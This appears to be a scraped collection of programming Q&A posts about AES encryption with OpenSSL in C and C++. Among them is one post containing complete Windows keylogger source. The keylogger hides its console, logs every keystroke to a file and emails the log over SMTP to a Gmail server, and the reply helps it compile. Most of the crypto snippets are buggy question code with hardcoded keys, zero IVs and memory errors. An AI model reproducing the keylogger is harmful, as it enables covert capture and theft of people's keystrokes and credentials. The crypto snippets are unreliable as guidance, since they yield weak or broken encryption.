I want to develop functions for encrypt and decrypt. the key size should be at least 128 bits (16 bytes).
I used the AES* api functions from the OpenSSL. but there is some restriction in the AES* functions: the input data buffers should be multiple of 16!
Here after my functions:
unsigned char encrypt_aes_key[]={0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,0x99,0xAA,0xBB,0xCC,0xDD,0xEE,0xFF};
static inline int enc_array_decrypt(unsigned char *encarray, unsigned char *decarray, int size)
{
int i;
AES_KEY dec_key;
unsigned char apibuf[512] = {0};
unsigned char iv[AES_BLOCK_SIZE];
memset(iv, 0x00, AES_BLOCK_SIZE);
AES_set_decrypt_key(encrypt_aes_key, sizeof(encrypt_aes_key)*8, &dec_key); // Size of key is in bits
AES_cbc_encrypt(encarray, apibuf, size, &dec_key, iv, AES_DECRYPT);
memcpy(decarray, apibuf, size);
return 0;
}
static inline int enc_array_encrypt(unsigned char *array, unsigned char *encarray, int size)
{
int i;
AES_KEY enc_key;
unsigned char apibuf[512] = {0};
unsigned char iv[AES_BLOCK_SIZE];
memset(iv, 0x00, AES_BLOCK_SIZE);
AES_set_encrypt_key(encrypt_aes_key, sizeof(encrypt_aes_key)*8, &enc_key); // Size of key is in bits
AES_cbc_encrypt((unsigned char *)array, apibuf, size, &enc_key, iv, AES_ENCRYPT);
memcpy(encarray, apibuf, size);
return 0;
}
if I call my functions with buffer size 9 for example, the functions will return wron output
example:
int main(int argc, char *argv[] )
{
char buf[9] = {0}, encbuf[9] = {0}, decbuf[9] = {0};
strcpy(buf, argv[1]);
enc_array_encrypt(buf, encbuf, 9);
enc_array_decrypt(encbuf, decbuf, 9);
printf("%s \n%s\n", buf, decbuf);
return 0;
}
The program returns:
$ ./myprogram any
any
2�����S�
How I can fix that?
by the way I can not force the buffer to be 16x multiplier size. because I will integrate my functions in a big source code (SDK) in which I will call my functions in many places with different input buffer sizes.
I m open to use any other kind of encryption (other than AES), but should support key of 128 bits length. The input buffer and the encrypted buffer should have the same size
It's generally not recommended to use the AES* function directly in OpenSSL. It's better to use the EVP family of functions. These will allow you to give an input buffer of any length.
void log_ssl_err(const char *mes)
{
unsigned long err;
char errstr[1000];
while ((err = ERR_get_error())) {
ERR_error_string(err, errstr);
printf("%s: %s", mes, errstr);
}
}
int encrypt_block(const unsigned char *IV, const unsigned char *key,
const unsigned char *src, unsigned int srclen,
unsigned char *dest, unsigned int *destlen)
{
EVP_CIPHER_CTX ctx;
const EVP_CIPHER *cipher = EVP_get_cipherbyname("AES-256-CBC");
int mode, len;
if (cipher == NULL) {
printf("Invalid keytype");
return 0;
}
mode = EVP_CIPHER_mode(cipher);
EVP_CIPHER_CTX_init(&ctx);
if (!EVP_EncryptInit_ex(&ctx, cipher, NULL, NULL, NULL)) {
log_ssl_err("EncryptInit for cipher failed");
return 0;
}
if (!EVP_EncryptInit_ex(&ctx, NULL, NULL, key, IV)) {
log_ssl_err("EncryptInit for key/IV failed");
return 0;
}
len = 0;
if (!EVP_EncryptUpdate(&ctx, dest, &len, src, srclen)) {
log_ssl_err("EncryptUpdate for data failed");
EVP_CIPHER_CTX_cleanup(&ctx);
return 0;
}
*destlen = len;
if (!EVP_EncryptFinal_ex(&ctx, dest + *destlen, &len)) {
log_ssl_err("EncryptFinal failed");
EVP_CIPHER_CTX_cleanup(&ctx);
return 0;
}
*destlen += len;
EVP_CIPHER_CTX_cleanup(&ctx);
return 1;
}
int decrypt_block(const unsigned char *IV, const unsigned char *key,
unsigned char *src, unsigned int srclen,
unsigned char *dest, unsigned int *destlen)
{
EVP_CIPHER_CTX ctx;
const EVP_CIPHER *cipher = EVP_get_cipherbyname("AES-256-CBC");
int mode, len;
if (cipher == NULL) {
printf("Invalid keytype");
return 0;
}
mode = EVP_CIPHER_mode(cipher);
EVP_CIPHER_CTX_init(&ctx);
if (!EVP_DecryptInit_ex(&ctx, cipher, NULL, NULL, NULL)) {
log_ssl_err("DecryptInit for cipher failed");
return 0;
}
if (!EVP_DecryptUpdate(&ctx, dest, &len, src, srclen)) {
log_ssl_err("DecryptUpdate for data failed");
EVP_CIPHER_CTX_cleanup(&ctx);
return 0;
}
*destlen = len;
if (!EVP_DecryptFinal_ex(&ctx, dest + *destlen, &len)) {
log_ssl_err("DecryptFinal failed");
EVP_CIPHER_CTX_cleanup(&ctx);
return 0;
}
*destlen += len;
EVP_CIPHER_CTX_cleanup(&ctx);
return 1;
}
Related
I have two functions: 1. encryption (string text, string key) and 2. decryption (string text, string key). these functions encrypt/decrypt text under key . I use openssl library and functions:EVP_EncryptUpdate and EVP_DecryptUpdate the input arguments of these two functions are (EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl, const unsigned char *in, int inl). my functions are below and the output is :
"Hello world\x5\x5\x5\x5\x5"
which should be "Hello world"
i suppose there is something wrong with castings.
std::string encrypt(std::string text, std::string k){
const unsigned char *plaintext=(const unsigned char*) text.c_str();
const unsigned char *key=(const unsigned char*) k.c_str();
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len=strlen((const char *)plaintext);
int ciphertext_len=plaintext_len+256;
unsigned char * ciphertext=new unsigned char[ciphertext_len];
/* Create and initialise the context */
if(!(ctx = EVP_CIPHER_CTX_new()))
handleErrors();
/*
* Initialise the encryption operation.
*/
if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, NULL))
handleErrors();
/*
* Provide the message to be encrypted, and obtain the encrypted output.
* EVP_EncryptUpdate can be called multiple times if necessary
*/
if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
handleErrors();
ciphertext_len = len;
/*
* Finalise the encryption. Further ciphertext bytes may be written at
* this stage.
*/
if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len))
handleErrors();
ciphertext_len += len;
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
std::string cipherteststring=(char const* )ciphertext ;
delete []ciphertext;
return cipherteststring;
}
std::string decrypt(std::string text, std::string k)
{
const unsigned char *ciphertext=(const unsigned char*)text.c_str();
const unsigned char *key=(const unsigned char*) k.c_str();
int ciphertext_len=strlen((const char *)ciphertext);
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len=ciphertext_len;
unsigned char *decryptedtext=new unsigned char[plaintext_len];
/* Create and initialise the context */
if(!(ctx = EVP_CIPHER_CTX_new()))
handleErrors();
/*
* Initialise the decryption operation.
*/
if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, NULL))
handleErrors();
/*
* Provide the message to be decrypted, and obtain the plaintext output.
* EVP_DecryptUpdate can be called multiple times if necessary.
*/
if(1 != EVP_DecryptUpdate(ctx, decryptedtext, &len, ciphertext, ciphertext_len))
handleErrors();
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
//std::string plaintextstring( reinterpret_cast< char const* >(decryptedtext) ) ;
std::string plaintextstring=(char const*)decryptedtext;
decryptedtext[plaintext_len] = '\0';
delete []decryptedtext;
return plaintextstring;
}
int main (){
std::string key ="01234567890123456789012345678901";
std::string plaintext ="Hello world";
std::string encrypted;
std::string decrypted;
std::string decryptedhexstr;
encrypted=encrypt (plaintext,key);
decrypted = decrypt(encrypted, key);
cout<<decrypted;
return 0;
}``
I have a code made in c ++ however I am using an IDE called DEV-C ++ and it presents a compilation error:
[Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]
The error points to the condition inside the if: savePressedKey.
if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
My code is below and also by the link: https://godbolt.org/z/zqgCzS
#include <stdio.h>
#include <windows.h>
#include <time.h>
#define INVISIBLE_CONSOLE 0
#define SILENT_CONSOLE 0
#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100
#define FILE_NAME "MarcadorLog.txt"
#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste#gmail.com"
#define EMAIL_TO "teste#gmail.com"
void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);
void verifyStealthMode() {
if(INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}
void savePressedKey(char pressedKey, char fileName[]) {
FILE *file = fopen(fileName, "a+");
fputc(pressedKey, file);
fclose(file);
}
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;
for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
if(GetAsyncKeyState(character) == -32767) {
pressedKey = character;
}
}
return pressedKey;
}
int getFileLength(char fileName[]) {
FILE *file = fopen(fileName, "rb");
fseek(file, 0, SEEK_END);
int fileLength = ftell(file);
fclose(file);
return fileLength;
}
char *getBufferFromFile(char fileName[]) {
FILE *file = fopen(fileName, "rb");
int fileLength = getFileLength(fileName);
char *buffer = (char *) malloc(fileLength + 1);
fread(buffer, sizeof(char), fileLength, file);
buffer[fileLength] = '\0';
fclose(file);
return buffer;
}
void overrideFile(char fileName[]) {
FILE *file = fopen(fileName, "w");
fclose(file);
}
int main() {
verifyStealthMode();
clock_t timer;
clock_t now = clock();
while(1) {
int pressedKey = getPressedKeyBetweenASCII(8, 255);
if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
timer = (clock() - now) / CLOCKS_PER_SEC;
if(timer > LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);
if(fileLength > 0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));
overrideFile(FILE_NAME);
}
now = clock();
} else if(!SILENT_CONSOLE) {
system("cls");
printf("Lendo...");
printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
}
}
return 0;
}
void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);
if(!SILENT_CONSOLE) printf("\n%s", data);
}
void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent *host;
struct sockaddr_in dest;
char data[3000];
// Get socket and dest:
WSAStartup(0x202, &wsaData);
host = gethostbyname(server);
memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);
dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock, (struct sockaddr *) &dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);
sprintf(data, "Ola me.somepalace.com\n");
sendData(sock, data);
sprintf(data, "Email de: <%s>\n", from);
sendData(sock, data);
sprintf(data, "recebido por: <%s>\n", to);
sendData(sock, data);
sprintf(data, "DATA\n");
sendData(sock, data);
sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);
sprintf(data, "sair\n");
sendData(sock, data);
if(!SILENT_CONSOLE) {
printf("\ntodos os pacotes foram enviados");
Sleep(5000);
system("cls");
}
closesocket(sock);
WSACleanup();
}
This warning means that you are trying to pass a string literal that in C++ (opposite to C) has the type of a constant character array to a function the corresponding parameter of which does not have the qualifier const.
If this function does not change the passed string then it shall be declared like
void savePressedKey(char pressedKey, const char fileName[]);
Otherwise if the function changes the passed string using a string literal as an argument will result in undefined behavior.
Even if the program is a C program nevertheless you should declare the parameter with the qualifier const.
I'm trying to add plaintext encryption/decryption (AES 256 CBC) functionality to a personal project built using QT and C++. I'm using OpenSSL v1.1.1. I followed few guides and build a class to handle encryption and decryption. Encryption seems to work fine. But decryption function sometimes throws error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt
This works:
sample text here....
These does not ( . = newline ):
i.
sample text here...
.
.
.
.
.
ii.
sample text here... sample text here...
I'm new to QT, C++ and OpenSSL so I have no idea how to fix this.
My Class:
#define KEYSIZE 32
#define IVSIZE 32
#define BLOCKSIZE 256
#define SALTSIZE 8
QByteArray Encryptor::randBytes(int size) {
unsigned char array[size];
RAND_bytes(array, size);
QByteArray output = QByteArray(reinterpret_cast<char*> (array), size);
return output;
}
QByteArray Encryptor::encrypt(QByteArray passphrase, QByteArray &content) {
QByteArray msalt = randBytes(SALTSIZE);
int rounds = 1;
unsigned char key[KEYSIZE];
unsigned char iv[IVSIZE];
const unsigned char *password = (const unsigned char*) passphrase.constData();
const unsigned char *salt = (const unsigned char*) msalt.constData();
int i = EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha1(), salt, password, passphrase.length(), rounds, key, iv);
if (i != KEYSIZE) {
qCritical() << "EVP_BytesToKey() -- " << ERR_error_string(ERR_get_error(), NULL);
return QByteArray();
}
EVP_CIPHER_CTX *en = EVP_CIPHER_CTX_new();
EVP_CIPHER_CTX_init(en);
if (!EVP_EncryptInit_ex(en, EVP_aes_256_cbc(), NULL, key, iv)) {
qCritical() << "EVP_EncryptInit_ex() -- " << ERR_error_string(ERR_get_error(), NULL);
return QByteArray();
}
char *input = content.data();
char *out;
int length = content.size();
int cLength = length + AES_BLOCK_SIZE;
int fLength = 0;
unsigned char *cipherText = (unsigned char*) malloc(cLength);
if (!EVP_EncryptInit_ex(en, NULL, NULL, NULL, NULL)) {
qCritical() << "EVP_EncryptInit_ex() -- " << ERR_error_string(ERR_get_error(), NULL);
return QByteArray();
}
if (!EVP_EncryptUpdate(en, cipherText, &cLength, (unsigned char*) input, length)) {
qCritical() << "EVP_EncryptUpdate() -- " << ERR_error_string(ERR_get_error(), NULL);
free(cipherText);
return QByteArray();
}
if (!EVP_EncryptFinal(en, cipherText + cLength, &fLength)) {
qCritical() << "EVP_EncryptFinal() -- " << ERR_error_string(ERR_get_error(), NULL);
free(cipherText);
return QByteArray();
}
length = cLength + fLength;
out = (char*) cipherText;
EVP_CIPHER_CTX_cipher(en);
free(cipherText);
QByteArray output;
output.append("Salted__");
output.append(msalt);
output.append(out, length);
return output;
}
QByteArray Encryptor::decrypt(QByteArray passphrase, QByteArray &content) {
QByteArray msalt;
if (QString(content.mid(0, 8)) != "Salted__") {
qCritical() << "can not extrect the salt...";
return QByteArray();
}
msalt = content.mid(8, 8);
content = content.mid(16);
int rounds = 1;
unsigned char key[KEYSIZE];
unsigned char iv[IVSIZE];
const unsigned char *password = (const unsigned char*) passphrase.constData();
const unsigned char *salt = (const unsigned char*) msalt.constData();
int i = EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha1(), salt, password, passphrase.length(), rounds, key, iv);
if (i != KEYSIZE) {
qCritical() << "EVP_BytesToKey() -- " << ERR_error_string(ERR_get_error(), NULL);
return QByteArray();
}
EVP_CIPHER_CTX *de = EVP_CIPHER_CTX_new();
EVP_CIPHER_CTX_init(de);
if (!EVP_DecryptInit_ex(de, EVP_aes_256_cbc(), NULL, key, iv)) {
qCritical() << "EVP_DecryptInit_ex() -- " << ERR_error_string(ERR_get_error(), NULL);
return QByteArray();
}
char *input = content.data();
int length = content.size();
int pLength = length;
int fLength = 0;
unsigned char *plainText = (unsigned char*) malloc(pLength + AES_BLOCK_SIZE);
if (!EVP_DecryptUpdate(de, plainText, &pLength, (unsigned char*) input, length)) {
qCritical() << "EVP_DecryptUpdate() -- " << ERR_error_string(ERR_get_error(), NULL);
free(plainText);
return QByteArray();
}
if (!EVP_DecryptFinal_ex(de, plainText + pLength, &fLength)) {
qCritical() << "EVP_DecryptFinal_ex() -- " << ERR_error_string(ERR_get_error(), NULL);
free(plainText);
return QByteArray();
}
length = pLength + fLength;
EVP_CIPHER_CTX_cleanup(de);
QByteArray output = QByteArray(reinterpret_cast<char*> (plainText), length);
free(plainText);
return output;
}
I call the function AES_Dec with the same Parameters. In most of the cases it returns the correct respond. But with a randomness of around 15% the respond is different.
char* AES_Dec(UDF_INIT* initid, UDF_ARGS* args, char* result, unsigned long* length, char* is_null, char* error)
{
//initialize variables
//initialize key
char *keyPlain = args->args[1];
int keylength = (static_cast<int>(args->lengths[1])) / 2;
uint16_t *key = new uint16_t;
hex2bin(keyPlain, reinterpret_cast<unsigned char*>(key));
//output
char *output = new char;
bin2hex(key , keylength, output);
*length = keylength* 2;
return output;
}
void hex2bin(const char* src, unsigned char* target)
{
while (*src && src[1])
{
*(target++) = char2int(*src) * 16 + char2int(src[1]);
src += 2;
}
}
int char2int(char input)
{
if (input >= '0' && input <= '9')
return input - '0';
if (input >= 'A' && input <= 'F')
return input - 'A' + 10;
if (input >= 'a' && input <= 'f')
return input - 'a' + 10;
return 0;
}
void bin2hex(unsigned short* pv, size_t len, char *output)
{
const unsigned char * buf = reinterpret_cast<const unsigned char*>(pv);
static const char* hex_lookup = "0123456789ABCDEF";
char *p = output;
for (int i = 0; i < len; i++) {
*p++ = hex_lookup[buf[i] >> 4];
*p++ = hex_lookup[buf[i] & 0x0F];
}
*p = '\0';
}
I call this function with the following parameters:
SELECT AES_Dec('2C4E907536FBB3C9FADD4CFBD45950EF03517AA5F7F402DA9E3ABD03FC6E0068EF39F3DFC26A92B871E8D8CE521EAF6C', 'B99DD1D646CDBC8505419D069B5C0209', '1')
The correct respond which is returned most of the time is:
B99DD1D646CDBC8505419D069B5C0209
And the respond which comes randomly is
B2323332333333323333333333333332
There are only these two responses. And I have no idea why the random respond appears. In a console application it all works fine without any problems. So the code should work.
Have anyone a solution?
Thank you.
Edit: the full quellcode:
#include "Header.h"
#ifdef HAVE_DLOPEN
my_bool AES_Dec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 3) {
return 1;
}
else if (args->arg_type[0] != STRING_RESULT ||
args->arg_type[1] != STRING_RESULT ||
args->arg_type[2] != STRING_RESULT) {
return 1;
}
return 0;
}
void AES_Dec_clear(UDF_INIT *initid, char *is_null, char *message) {
}
void AES_Dec_add(UDF_INIT *initid, UDF_ARGS *args,
char *is_null, char *message) {
}
char* AES_Dec(UDF_INIT* initid, UDF_ARGS* args, char* result, unsigned long* length, char* is_null, char* error)
{
//initialize variables
//initialize modus
char* modChar = args->args[2];
int mod;
if (modChar[0] == '1')
mod = 1;
else
mod = 0;
//initialize key
char *keyPlain = args->args[1];
int keylength = (static_cast<int>(args->lengths[1])) / 2;
uint16_t *key = new uint16_t;
hex2bin(keyPlain, reinterpret_cast<unsigned char*>(key));
//initialize value
const char *plain = args->args[0];
int plainLength = 0;
if (mod == 0)
plainLength = args->lengths[0] / 2;
else
plainLength = args->lengths[0] / 2 - 16;
uint16_t *contentWithIv = new uint16_t;
uint16_t *iv = new uint16_t;
hex2bin(plain, (unsigned char*)contentWithIv);
if (mod == 1) {
for (int i = 0; i < 8; i++) {
iv[i] = *contentWithIv;
contentWithIv++;
}
}
else
iv == NULL;
uint16_t *plaintext = contentWithIv;
// Buffer for the decrypted text
uint16_t *decryptedtext = new uint16_t;
int decryptedtext_len, ciphertext_len;
// Initialise the library
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);
// Encrypt the plaintext
decryptedtext_len = decrypt((unsigned char*)plaintext, plainLength, (unsigned char*)key, (unsigned char*)iv, (unsigned char*)decryptedtext, keylength * 8, mod);
// Add a NULL terminator. We are expecting printable text
decryptedtext[decryptedtext_len] = '\0';
// Clean up
EVP_cleanup();
ERR_free_strings();
char *finalDec = (char*)malloc(decryptedtext_len * 2);
bin2hex(decryptedtext, decryptedtext_len, finalDec);
*length = decryptedtext_len * 2;
return finalDec;
}
void AES_Dec_deinit(UDF_INIT *initid) {
free(initid->ptr);
}
void handleErrors(void) {
ERR_print_errors_fp(stderr);
abort();
}
int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext, int keylength, int mod)
{
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
// Create and initialise the context
if (!(ctx = EVP_CIPHER_CTX_new())) handleErrors();
// Initialise the decryption operation.
if (mod == 0) {
if (keylength == 128)
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_ecb(), NULL, key, NULL))
handleErrors();
if (keylength == 192)
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_192_ecb(), NULL, key, NULL))
handleErrors();
if (keylength == 256)
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_ecb(), NULL, key, NULL))
handleErrors();
}
else if (mod == 1) {
if (keylength == 128)
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
handleErrors();
if (keylength == 192)
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_192_cbc(), NULL, key, iv))
handleErrors();
if (keylength == 256)
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
handleErrors();
}
else
handleErrors();
// Provide the message to be decrypted, and obtain the plaintext output.
if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
handleErrors();
plaintext_len = len;
// Finalise the decryption.
if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) handleErrors();
plaintext_len += len;
// Clean up
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
void hex2bin(const char* src, unsigned char* target)
{
while (*src && src[1])
{
*(target++) = char2int(*src) * 16 + char2int(src[1]);
src += 2;
}
}
int char2int(char input)
{
if (input >= '0' && input <= '9')
return input - '0';
if (input >= 'A' && input <= 'F')
return input - 'A' + 10;
if (input >= 'a' && input <= 'f')
return input - 'a' + 10;
return 0;
}
void bin2hex(unsigned short* pv, size_t len, char *output)
{
const unsigned char * buf = reinterpret_cast<const unsigned char*>(pv);
static const char* hex_lookup = "0123456789ABCDEF";
char *p = output;
for (int i = 0; i < len; i++) {
*p++ = hex_lookup[buf[i] >> 4];
*p++ = hex_lookup[buf[i] & 0x0F];
}
*p = '\0';
}
#endif /* HAVE_DLOPEN */
I have a problem in using higher level envelope decryption fron openssl/evp.h
EVP_OpenFinal and EVP_OpenInit fail randomly when I try to run the same program multiple times with the same values. I am working on it for last 5 days but no luck. I am writing my complete code here. Please help me out. It would be very nice if someone can try to reproduce the errors, and let me know where I am wrong.
Error message:
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
4944:error:0606506D:lib(6):func(101):reason(109):.\crypto\evp\evp_enc.c:460:
And here is the code
#include <iostream>
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <stdio.h>
void handleErrors(void);
int envelope_seal(EVP_PKEY **pub_key, unsigned char *plaintext, int plaintext_len,
unsigned char **encrypted_key, int *encrypted_key_len, unsigned char *iv,
unsigned char *ciphertext);
int envelope_open(EVP_PKEY *priv_key, unsigned char *ciphertext, int ciphertext_len,
unsigned char *encrypted_key, int encrypted_key_len, unsigned char *iv,
unsigned char *plaintext);
using namespace std;
int main()
{
RSA *rsa_pubkey= RSA_new();
RSA *rsa_prikey= RSA_new();
EVP_PKEY *evp_pubkey = EVP_PKEY_new();
EVP_PKEY *evp_prikey = EVP_PKEY_new();
FILE *rsa_prikey_file = NULL;
FILE *rsa_pubkey_file = NULL;
rsa_pubkey_file = fopen("pubkey.pem", "r");
if (!rsa_pubkey_file)
{
fprintf(stderr, "Error loading PEM RSA Public Key File.\n");
exit(2);
}
PEM_read_RSA_PUBKEY(rsa_pubkey_file, &rsa_pubkey,NULL, NULL);
EVP_PKEY_assign_RSA(evp_pubkey,rsa_pubkey);
rsa_prikey_file = fopen("key.pem", "r");
if (!rsa_prikey_file)
{
fprintf(stderr, "Error loading PEM RSA private Key File.\n");
exit(2);
}
PEM_read_RSAPrivateKey(rsa_prikey_file, &rsa_prikey,NULL, NULL);
EVP_PKEY_assign_RSA(evp_prikey,rsa_prikey);
unsigned char *plaintext = (unsigned char*) "The quick brown fox jumps over thes lazy dog";
unsigned char ciphertext[256] = {};
unsigned char plaintextt[256] = {};
int ciphertextlength;
unsigned char *encKey = (unsigned char*)malloc(RSA_size(rsa_pubkey));
unsigned char iv[16] = {};
envelope_seal(&evp_pubkey, plaintext,strlen((const char*)plaintext),&encKey, &ciphertextlength,iv,ciphertext);
envelope_open(evp_prikey, ciphertext, strlen((const char*)ciphertext), encKey, strlen((const char*)encKey),iv,plaintextt);
std::cout <<"Result: "<<plaintextt<<std::endl;
EVP_PKEY_free(evp_pubkey);
EVP_PKEY_free(evp_prikey);
free(ciphertext);
free(encKey);
}
int envelope_seal(EVP_PKEY **pub_key, unsigned char *plaintext, int plaintext_len,
unsigned char **encrypted_key, int *encrypted_key_len, unsigned char *iv,
unsigned char *ciphertext)
{
EVP_CIPHER_CTX *ctx;
int ciphertext_len;
int len;
if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();
if(1 != EVP_SealInit(ctx, EVP_aes_128_cbc(),
encrypted_key,
encrypted_key_len,
iv,
pub_key, 1))
{
handleErrors();
}
if(1 != EVP_SealUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
{
handleErrors();
}
ciphertext_len = len;
if(1 != EVP_SealFinal(ctx, ciphertext + len, &len))
{
handleErrors();
}
ciphertext_len += len;
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
int envelope_open(EVP_PKEY *priv_key, unsigned char *ciphertext, int ciphertext_len,
unsigned char *encrypted_key, int encrypted_key_len, unsigned char *iv,
unsigned char *plaintext)
{
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
if(!(ctx = EVP_CIPHER_CTX_new()))
{
handleErrors();
}
if(1 != EVP_OpenInit(ctx, EVP_aes_128_cbc(), encrypted_key,
encrypted_key_len, iv, priv_key))
{
handleErrors();
}
if(1 != EVP_OpenUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
{
handleErrors();
}
plaintext_len = len;
if(1 != EVP_OpenFinal(ctx, plaintext + len, &len))
{
handleErrors();
}
plaintext_len += len;
EVP_CIPHER_CTX_free(ctx);
plaintext[plaintext_len] = '\0';
return plaintext_len;
}
void handleErrors(void)
{
perror("Error: ");
ERR_print_errors_fp(stderr);
abort();
}
envelope_seal() gives back the length of the encrypted string, I have to put this length in envelope_open()
int **length** = envelope_seal(&evp_pubkey, plaintext,strlen((const char*)plaintext),&encKey, &ciphertextlength,iv,ciphertext);
envelope_open(evp_prikey, ciphertext, **length**, encKey, strlen((const char*)encKey),iv,plaintextt);
The random crashing is caused by your length calculations before envelope_seal and envelope_open. The lengths should look like:
unsigned char *plaintext = (unsigned char*) "The quick brown fox jumps over thes lazy dog";
int ciphertextlength;
unsigned int enclen = EVP_PKEY_size(evp_prikey);
unsigned char *encKey = (unsigned char*)malloc(enclen);
unsigned char *ciphertext = (unsigned char*)malloc(enclen);
unsigned char plaintextt[enclen] = {};
unsigned char iv[16] = {};
unsigned int length = envelope_seal(&evp_pubkey, plaintext,strlen((const char*)plaintext),&encKey, &ciphertextlength,iv,ciphertext);
envelope_open(evp_prikey, ciphertext, length, encKey, enclen,iv,plaintextt);
As your answer states envelope_seal returns the size. You cannot get the size of a char* as your crashing always occured when the size of your plaintext was less than 48.